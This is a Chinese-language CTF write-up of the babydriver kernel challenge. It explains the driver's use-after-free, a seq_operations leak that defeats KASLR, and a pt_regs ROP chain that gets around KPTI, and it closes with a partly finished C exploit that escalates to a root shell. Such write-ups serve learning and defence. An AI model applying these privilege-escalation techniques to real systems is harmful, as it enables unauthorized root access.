0%

seq_operations+pt_regs

babydriver

先进行解压:

1
2
mv rootfs.cpio rootfs.cpio.gz 
gunzip rootfs.cpio.gz
  • 这个 rootfs.cpio 其实是个压缩包,不过它省略了后缀“.gz”,这里需要先改名后解压
1
2
3
#!/bin/bash

qemu-system-x86_64 -initrd rootfs.cpio -kernel bzImage -append 'console=ttyS0 root=/dev/ram oops=panic panic=1' -enable-kvm -monitor /dev/null -m 64M --nographic -smp cores=1,threads=1 -cpu kvm64,+smep
  • smep
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#!/bin/sh

mount -t proc none /proc
mount -t sysfs none /sys
mount -t devtmpfs devtmpfs /dev
chown root:root flag
chmod 400 flag
exec 0</dev/console
exec 1>/dev/console
exec 2>/dev/console

insmod /babydriver.ko
chmod 777 /dev/babydev
echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n"
setsid cttyhack setuidgid 1000 sh

umount /proc
umount /sys
poweroff -d 0 -f

漏洞分析

1
2
3
4
5
6
7
void __fastcall babyopen(inode *inode, FILE *fp)
{
_fentry__(inode, fp);
babydev_struct.device_buf = kmem_cache_alloc_trace(kmalloc_caches[6], 0x24000C0LL, 64LL);
babydev_struct.device_buf_len = 64LL;
printk("device open\n");
}
  • 伪条件竞争引发的 UAF 漏洞,即当我们同时打开两个设备,第二次会覆盖第一次分配的空间
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
void __fastcall babyioctl(FILE *fp, unsigned int command, __int64 arg)
{
_fentry__(fp, command);
if ( command == 0x10001 )
{
kfree(babydev_struct.device_buf);
babydev_struct.device_buf = _kmalloc(arg, 0x24000C0LL);// void *kmalloc(size_t size, int flags)
babydev_struct.device_buf_len = arg;
printk("alloc done\n");
}
else
{
printk("13defalut:arg is %ld\n", arg);
}
}
  • 可以再释放后再申请(改写大小)

babydriver 是我们入门内核的第一道题目,现在来看看它的两个变种

变种一:添加 KPTI 和 kaslr

1
2
3
#!/bin/bash

qemu-system-x86_64 -initrd rootfs.cpio -kernel bzImage -append 'console=ttyS0 root=/dev/ram oops=panic panic=1 pti=on kaslr' -enable-kvm -monitor /dev/null -m 64M --nographic -smp cores=1,threads=1 -cpu kvm64,+smep
  • smep
  • kaslr
  • KPTI(在 append 中添加 pti=on

KPTI(Kernel Page Table Isolation)就是内核页表隔离(内核版本 4.15 以上),使内核与用户态进程使用两套独立的页表

  • 在 Linux 中,寄存器 CR3 用于存储当前的 PGD 地址(四级页表结构:PGD->PUD->PMD->PTE
  • 如果开启了 KPTI,则在内核态与用户态切换时会同时切换 CR3
  • 为了提高切换的速度,内核将内核空间的 PGD 与用户空间的 PGD 两张页全局目录表放在一段连续的内存中(两张表,一张一页4k,总计8k,内核空间的在低地址,用户空间的在高地址)
  • 只需要将 CR3 的第 13 位取反便能完成页表切换的操作

KPTI:会使 ret2usr 失效,在用户空间中构造 fake tty_operations 也会失效,在 ROP 中需要切换 CR3 的 gadget

KPTI pass:使用 seq_operations + pt_regs

结构体 seq_operations 的条目如下:

1
2
3
4
5
6
struct seq_operations {
void * (*start) (struct seq_file *m, loff_t *pos);
void (*stop) (struct seq_file *m, void *v);
void * (*next) (struct seq_file *m, void *v, loff_t *pos);
int (*show) (struct seq_file *m, void *v);
};
  • 当我们打开一个 stat 文件时(如 /proc/self/stat)便会在内核空间中分配一个 seq_operations 结构体
  • 当我们 read 一个 stat 文件时,内核会调用其 proc_opsproc_read_iter 指针,然后调用 seq_operations->start 函数指针

结构体 pt_regs 的条目如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
struct pt_regs {
/*
* C ABI says these regs are callee-preserved. They aren't saved on kernel entry
* unless syscall needs a complete, fully filled "struct pt_regs".
*/
unsigned long r15;
unsigned long r14;
unsigned long r13;
unsigned long r12;
unsigned long rbp;
unsigned long rbx;
/* These regs are callee-clobbered. Always saved on kernel entry. */
unsigned long r11;
unsigned long r10;
unsigned long r9;
unsigned long r8;
unsigned long rax;
unsigned long rcx;
unsigned long rdx;
unsigned long rsi;
unsigned long rdi;
/*
* On syscall entry, this is syscall#. On CPU exception, this is error code.
* On hw interrupt, it's IRQ number:
*/
unsigned long orig_rax;
/* Return frame for iretq */
unsigned long rip;
unsigned long cs;
unsigned long eflags;
unsigned long rsp;
unsigned long ss;
/* top of stack page */
};
  • 在系统调用当中有很多的寄存器其实是不一定能用上的,比如 r8 ~ r15
  • 只需要寻找到一条形如 add rsp, val; ret 的 gadget 便能够完成 ROP

于是泄露思路如下:

  • 先执行两次 open("/dev/babydev", O_RDWR)
  • 执行 ioctl(fd[0], 0x10001, 0x20),修改内核结构体的大小为 0x20(使 seq_operations 可以被放入这里)
  • 释放 fd[0],并且执行 open("/proc/self/stat", O_RDONLY)(内核结构体被释放,又被申请回来存放 seq_operations
  • 此时 fd[1] 仍然指向内核结构体,于是用 read(fd[1], leak_data, 0x10) 泄露内核基地址

使用如下命令来查找需要的偏移:(使用前先关闭 kaslr,并开启 root 权限)

1
2
3
4
/ # cat /proc/kallsyms | grep commit_creds
ffffffff810a1420 T commit_creds
/ # cat /proc/kallsyms | grep init_cred
ffffffff81e48c60 D init_cred

接下来需要把 seq_operations->start 覆盖为一个 gadget(类似于 add rsp, offset;...; ret;

在开启 KPTI 内核,提权返回到用户态(iretq/sysret)之前如果不设置CR3寄存器的值,就会导致进程找不到当前程序的正确页表,引发段错误

常规设置需要从上到下执行3个 gadget:(改写 CR3 的第13位)

  • pop rdi; ret;(RDI 写入 0x6f0
  • mov cr4, rdi; ret;
  • swapgs; pop rbp; ret;

使用 pt_regs 在内核态写 ROP 链,就没有那么多空间来放入 gadget,于是我们用 swapgs_restore_regs_and_return_to_usermode 函数一次搞定(低版本的内核没有这个函数)

  • 需要的栈布局如下:
1
2
3
4
5
6
7
8
swapgs_restore_regs_and_return_to_usermode + 22
0 // padding
0 // padding
user_shell_addr
user_cs
user_rflags
user_sp
user_ss
  • 只要把 swapgs_restore_regs_and_return_to_usermode + 22 放在 R10 的位置就可以符合条件

综合上面的内容,我们可以得到劫持控制流的思路:

  • 执行 write(fd[1], &magic_addr, 8) 写入形如 add rsp, 0x148; ...; ret; 的 gadget
  • 通过 pt_regs 构造 ROP 链(R10 写上 swapgs_restore_regs_and_return_to_usermode + 22
  • 在 gadget 打上断点,然后计算该 gadget 到 pt_regs 结构体的偏移,寻找准确的 gadget

在实际的调试中,我发现 pt_regs 的内容没有那么规整(可能是 sys_read 破坏了 pt_regs 原本的结构),下面给一个调试案例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
__asm__(
"mov r15, 0x55555555;"
"mov r14, 0x44444444;"
"mov r13, 0x33333333;"
"mov r12, 0x22222222;"
"mov rbp, 0xbbbb1111;"
"mov rbx, 0xbbbb2222;"
"mov r11, 0x11111111;"
"mov r10, 0x11110000;"
"mov r9, 0x99999999;"
"mov r8, 0x88888888;"
"xor rax, rax;"
"mov rcx, 0x666666;"
"mov rdx, 8;"
"mov rsi, rsp;"
"mov rdi, seq_fd;"
"syscall"
);

GDB 部分内存如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
pwndbg> telescope 0xffff8800027cbdd8
00:0000│ rsp 0xffff8800027cbdd8 —▸ 0xffffffff8122fab8 ◂— mov r15, rax
01:00080xffff8800027cbde0 —▸ 0xffffffff810ee6a9 ◂— xor edx, edx
02:00100xffff8800027cbde8 —▸ 0x7fff99311170 ◂— 0
03:00180xffff8800027cbdf0 —▸ 0xffff88000276c1c0 ◂— 0
04:00200xffff8800027cbdf8 ◂— 8
05:0028│ rsi 0xffff8800027cbe00 ◂— 0
......
0c:00600xffff8800027cbe38 ◂— push rbp /* 0x55555555; 'UUUU' */
0d:0068│ rbp 0xffff8800027cbe40 —▸ 0xffff8800027cbec8 —▸ 0xffff8800027cbf00 —▸ 0xffff8800027cbf48 ◂— adc dword ptr [rcx], edx /* 0xbbbb1111 */
0e:00700xffff8800027cbe48 —▸ 0xffffffff8120ad17 ◂— mov rdi, qword ptr [rbp - 0x18]
0f:00780xffff8800027cbe50 ◂— add byte ptr [rax], al /* 0x20000 */
......
28:0140│ r12 0xffff8800027cbf18 ◂— 0
29:01480xffff8800027cbf20 ◂— adc byte ptr [rdi], cl /* 0xfdb69a886c1b0f10 */
2a:01500xffff8800027cbf28 ◂— and ah, byte ptr [rdx] /* 0xbbbb2222 */
2b:01580xffff8800027cbf30 ◂— and ah, byte ptr [rdx] /* 0x22222222; '""""' */
2c:01600xffff8800027cbf38 ◂— xor esi, dword ptr [rbx] /* 0x33333333; '3333' */
2d:01680xffff8800027cbf40 ◂— add byte ptr [rax], r8b /* 0x44444444; 'DDDD' */
2e:01700xffff8800027cbf48 ◂— adc dword ptr [rcx], edx /* 0xbbbb1111 */
2f:01780xffff8800027cbf50 —▸ 0xffffffff81819c32 ◂— mov qword ptr [rsp + 0x50], rax
......
37:01b8│ 0xffff8800027cbf90 ◂— add byte ptr [rax], al /* 0x11110000 */
pwndbg>
38:01c0│ 0xffff8800027cbf98 ◂— cdq /* 0x99999999 */
39:01c8│ 0xffff8800027cbfa0 ◂— mov byte ptr [rax + 0x8888], cl /* 0x88888888 */
  • 注意 0xbbbb2222 -> 0xbbbb11110x11110000 -> 0x88888888
  • ROP 的构造思路:
    • 0xbbbb2222-0x33333333 分别放入 pop_rdi_ret init_cred commit_creds
    • 0x44444444 放入 add_rsp_offset_ret 以跳转到 0x11110000
    • 0x11110000 中放入 swapgs_restore_regs_and_return_to_usermode + 22
    • seq_operations->start 中写入的 gadget 需要把栈迁移的 ROP 链上

本题目给的内核版本是 4.4.72,没有 KPTI 和 swapgs_restore_regs_and_return_to_usermode 函数,因此没法完成演示

下面给出非完整的 exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
#include <sys/types.h>
#include <stdio.h>
#include <linux/userfaultfd.h>
#include <pthread.h>
#include <errno.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <poll.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>
#include <asm/ldt.h>

#define COMMIT_CREDS 0xffffffff810a1420
#define INIT_CRED 0xffffffff81e48c60

size_t commit_creds = 0;
size_t prepare_kernel_cred = 0;

size_t kernel_offset = 0;
size_t kernel_base = 0xffffffff81000000;

size_t user_cs, user_ss, user_rflags, user_sp;

void saveReg()
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("saved");
}

void getRootShell(void)
{
if(getuid()){
puts("wrong");
exit(-1);
}
else{
puts("root");
system("/bin/sh");
}
}

int seq_fd;
size_t pop_rdi_ret;
size_t init_cred;
size_t swapgs;
size_t add_rsp_offset_ret;
size_t magic_addr;
size_t mov_cr4_ret;
size_t swapgs_restore_regs_and_return_to_usermode;

int main(void)
{
int fd[10];
size_t leak_data[0x10];

saveReg();

fd[0] = open("/dev/babydev", O_RDWR);
fd[1] = open("/dev/babydev", O_RDWR);

ioctl(fd[0], 0x10001, 0x20);
close(fd[0]);

seq_fd = open("/proc/self/stat", O_RDONLY);

read(fd[1], leak_data, 0x10);
for (int i = 0; i < 2; i++)
printf("data dump %d: %p\n", i, leak_data[i]);

kernel_offset = leak_data[0] - 0xffffffff8122f4d0;
kernel_base = (void*) ((size_t)kernel_base + kernel_offset);

printf("Kernel offset: %llx\n", kernel_offset);
printf("Kernel base: %p\n", kernel_base);

commit_creds = COMMIT_CREDS + kernel_offset;
init_cred = INIT_CRED + kernel_offset;

pop_rdi_ret = 0xffffffff810d238d + kernel_offset; /* pop rdi; ret; */
swapgs = 0xffffffff81063694 + kernel_offset; /* swapgs; pop rbp; ret; */
mov_cr4_ret = 0xffffffff81004d80 + kernel_offset; /* mov cr4, rdi; pop rbp; ret; */

magic_addr = kernel_offset + 0xffffffff810d238d; /* 为了打断点而随便找的 */
add_rsp_offset_ret = kernel_offset;
swapgs_restore_regs_and_return_to_usermode = kernel_offset;

printf("magic_addr: 0x%llx\n", magic_addr);
sleep(3);

write(fd[1], &magic_addr, 8);
__asm__(
"mov r15, 0x55555555;"
"mov r14, add_rsp_offset_ret;"
"mov r13, commit_creds;"
"mov r12, init_cred;"
"mov rbp, 0xbbbb1111;"
"mov rbx, pop_rdi_ret;"
"mov r11, 0x11111111;"
"mov r10, swapgs_restore_regs_and_return_to_usermode;"
"mov r9, 0x99999999;"
"mov r8, 0x88888888;"
"xor rax, rax;"
"mov rcx, 0x666666;"
"mov rdx, 8;"
"mov rsi, rsp;"
"mov rdi, seq_fd;"
"syscall"
);

getRootShell();
}

小结:

主要是参考 墨晚鸢 大佬的博客:

他给出的参考题目应该是改过内核版本的,我手上没有对应版本的题目,最后只能将就了

之后抽时间学一下 ldt_struct 的利用